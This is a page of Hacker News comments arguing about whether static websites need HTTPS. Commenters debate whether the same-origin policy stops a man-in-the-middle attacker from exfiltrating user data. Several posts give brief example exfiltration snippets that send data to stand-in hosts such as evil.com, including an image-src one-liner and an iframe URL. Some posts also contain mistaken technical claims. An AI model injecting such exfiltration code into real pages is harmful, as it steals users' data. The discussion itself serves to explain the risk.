Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Why Static Websites Need HTTPS

troyhunt.com

Post reply on HN
Print view View original

161–170 of 268 posts

Re: Why Static Websites Need HTTPS

#161

Post by austincheney »

bn-usd-mistake wrote: post #25
austincheney wrote: post #16

Earlier quoted context omitted.

No. https://en.wikipedia.org/wiki/Same-origin_policy

Same-origin is the other way around, it protects evilcorp.com from being called by non-https.com. So a simple CORS setup on evilcorp.com would indeed allow you to send all user data by MITMing non-https.com

CORS allows a site to bypass same origin policy according to a whitelist specified in the corresponding HTTP header. The setup on evil.com is irrelevant. CORS must be instantiated from the server sending the page.

https://en.wikipedia.org/wiki/Cross-origin_resource_sharing

Re: Why Static Websites Need HTTPS

#162

Post by austincheney »

slig wrote: post #24
austincheney wrote: post #16

Earlier quoted context omitted.

No. https://en.wikipedia.org/wiki/Same-origin_policy

How does same-origin policy (on a MITM'd website) prevents this? (new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);

Here is how: https://news.ycombinator.com/edit?id=17861667

Re: Why Static Websites Need HTTPS

#163

Post by austincheney »

jsjohnst wrote: post #4
austincheney wrote: post #2

I have recently adopted HTTPS on my own site, because there are substantial performance benefits with HTTP/2 that are only available over HTTPS. There are many arguments in the article, and more that he links to, arguing for the security benefits of HTTPS. HTTPS is good for protecting content. One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS…

> The only thing that crosses the wire is a request for the application code and a response with that code. If someone man-in-the-middled the downloading of the app code (trivial, if not HTTPS), then none of those constraints you later mention would be true and the user’s data is now compromised.

In the case described there is no user data crossing the wire to compromise. Secondly, a man in the middle attack is only valid (in this case) if you want to modify the application code in transit to corrupt the application itself. This is defacement and nontrivial. Finally, you cannot use this form of attack to break privacy. Others on here have attempted examples, but they have all failed.

If you can break same origin policy submit a bug to Google. That would be a significant defect that would warrant their top tier bug bounty.

https://en.wikipedia.org/wiki/Man-in-the-middle_attack

Re: Why Static Websites Need HTTPS

#164

Post by squeaky-clean »

th3l3mons wrote: post #60
adwhit wrote: post #12

When I read things like that, I always think of the paper "The Rational Rejection of Security Advice by Users". [1] Yes, content injection is bad, but the chance of it happening multiplied by the damage it could cause to your users is probably less than the the effort required to shift a static blog site to HTTPS. (Do not underestimate the leap in difficulty from copy-pasting from an Nginx tutorial to understanding h…

The other side I would pose is: do you want anyone to alter your responses? I'm currently trying to find the RFC, but I recall an ISP defining an RFC for tampering with HTTP responses in-transit. In addition, I also recall seeing Comcast (I believe) injecting JS to users that they are approaching their plan limits. Obviously, not the end of the world. But do you want any third party to easily alter the response from…

> In addition, I also recall seeing Comcast (I believe) injecting JS to users that they are approaching their plan limits

This has happened to me. Re-installed Windows on my gaming computer and re-downloaded all my games. By the time I hit 900GB usage, any HTTP page would display a popup with "You have 100GB of data left".

I thought it was malware on the website trying to phish me the first time I saw it.

Re: Why Static Websites Need HTTPS

#165

Post by austincheney »

pc86 wrote: post #27
austincheney wrote: post #16

Earlier quoted context omitted.

No. https://en.wikipedia.org/wiki/Same-origin_policy

Which you've noted three times but is just as wrong the third time as the first. You can break/disable SOP when it's trivially easy to edit the code.

> You can break/disable SOP when it's trivially easy to edit the code.

How? SOP isn't related to the code. It is only concerned with the page address.

Re: Why Static Websites Need HTTPS

#166

Post by austincheney »

gsnedders wrote: post #5
austincheney wrote: post #2

I have recently adopted HTTPS on my own site, because there are substantial performance benefits with HTTP/2 that are only available over HTTPS. There are many arguments in the article, and more that he links to, arguing for the security benefits of HTTPS. HTTPS is good for protecting content. One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS…

> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. I would argue this model of application is substantially m…

> and then sends it to evil.com.

How would a man in the middle attack grant you that? This is the reason same origin policy exists. It is the foundation of web security. If can break SOP and prove it in a demonstration you can report this issue to Google as a defect in the top tier of their bug bounty for a sizable reward.

Re: Why Static Websites Need HTTPS

#167

Post by UncleMeat »

austincheney wrote: post #163
jsjohnst wrote: post #4

Earlier quoted context omitted.

> The only thing that crosses the wire is a request for the application code and a response with that code. If someone man-in-the-middled the downloading of the app code (trivial, if not HTTPS), then none of those constraints you later mention would be true and the user’s data is now compromised.

In the case described there is no user data crossing the wire to compromise. Secondly, a man in the middle attack is only valid (in this case) if you want to modify the application code in transit to corrupt the application itself. This is defacement and nontrivial. Finally, you cannot use this form of attack to break privacy. Others on here have attempted examples, but they have all failed. If you can break same ori…

There is no user data crossing the wire. You are instead sending code that the user will execute. An attacker can substitute literally any code they wish. This new code can collect user data and send it over the wire literally anywhere.

SOP offers zero protection against this. Just load evil.com?data=XYZ in an iframe.

Re: Why Static Websites Need HTTPS

#168

Post by austincheney »

UncleMeat wrote: post #167
austincheney wrote: post #163

Earlier quoted context omitted.

In the case described there is no user data crossing the wire to compromise. Secondly, a man in the middle attack is only valid (in this case) if you want to modify the application code in transit to corrupt the application itself. This is defacement and nontrivial. Finally, you cannot use this form of attack to break privacy. Others on here have attempted examples, but they have all failed. If you can break same ori…

There is no user data crossing the wire. You are instead sending code that the user will execute. An attacker can substitute literally any code they wish. This new code can collect user data and send it over the wire literally anywhere. SOP offers zero protection against this. Just load evil.com?data=XYZ in an iframe.

Like this? https://news.ycombinator.com/item?id=17861667

Re: Why Static Websites Need HTTPS

#169

Post by AgentME »

austincheney wrote: post #151
AgentME wrote: post #123

Earlier quoted context omitted.

If evil.com serves the proper CORS headers, then any site is allowed to make AJAX calls to it. Also, the attacker could inject tags with a src attribute pointing to " https://evil.com?userdata=..." . Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to "yoursite.com/nothing-to-see-here". Users looking at the network requests may not notice anyth…

CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack. > Also, the attacker could inject tags First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. Second, but they would have to write a custom script to gather the data…

>CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack.

The attacker owns evil.com. They can make it have any headers they want, and then javascript on yoursite.com or any other site is allowed to make ajax requests to it. (Of course, they'd still need to do a man-in-the-middle attack on yoursite.com to modify yoursite.com's javascript. They technically don't need to involve evil.com if they're MITMing yoursite.com as I mentioned at the end of my post above, but it is a technically possible thing for them to do.)

> First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets.

The attacker can make evil.com use HTTPS if they need to. There's no restrictions stopping attackers from getting certificates for their own domains. HTTPS doesn't signify that the owner of the domain is trustworthy; it just signifies that the contents you receive from a URL weren't MITMed.

> Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser.

Did you test this on HN? HN uses an unusually restrictive Content-Security-Policy header to restrict where assets can be loaded from. It is a protection against this sort of attack, but only a weak one against a determined attacker who can manipulate page javascript or html: An attacker could make every element on the page be a link to evil.com?userdata=..., which a lot of users will probably click. The user might realize something is up, but the attacker has already gotten their data so it's a bad consolation prize. Also, in the specific case of MITM attacks, CSP is no help since an attacker can just strip the header off.

>No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty.

(I don't mean to brag, but just to point out a possibly relevant credential: I have gotten a 4-digit bug bounty payment from Google before.)

If an attacker MITMs yoursite.com and modifies the javascript served by yoursite.com, then when a user navigates to yoursite.com, that javascript is allowed to connect to yoursite.com (or any domain that is served with CORS headers). The same origin policy is about preventing a domain from accessing domains that don't want to be accessed; it is not about preventing a domain from talking to anyone at all including itself. (Content-Security-Policy does focus on that, but it can be difficult to make bulletproof and should be treated as a defense-in-depth, and it's not relevant to MITM attacks at all since a MITM can just strip it.)

Re: Why Static Websites Need HTTPS

#170

Post by AgentME »

austincheney wrote: post #154
AgentME wrote: post #126

Earlier quoted context omitted.

A malicious router (or any entity between you and the site you're trying to connect to) redirecting your traffic is the exact situation that HTTPS protects against.

It does not. Redirection from the router involves only TCP and DNS actions. HTTPS does not encrypt TCP. HTTPS is an encrypted tunnel that rides over TCP. HTTPS is a layer 7 protocol while TCP is a layer 4 protocol. You can encrypt TCP as well if you are using IPSEC. IPSEC is built into IPv6 by default, but it fails with NAT over IPv4, which is still most of the internet. None of that is what HTTPS is for though. The…

If the user is trying to access https://example.com, and an attacker redirects the TCP connection (or fakes a response to the DNS query so the user gets the wrong IP address) to a server that doesn't have the private key for example.com's HTTPS certificate, then the HTTPS connection will fail. The attacker is unable to serve their own content to the user as "https://example.com". HTTPS doesn't just encrypt the connection, but also authenticates the integrity of connections as being from the domain they claim to be from.
Post reply on HN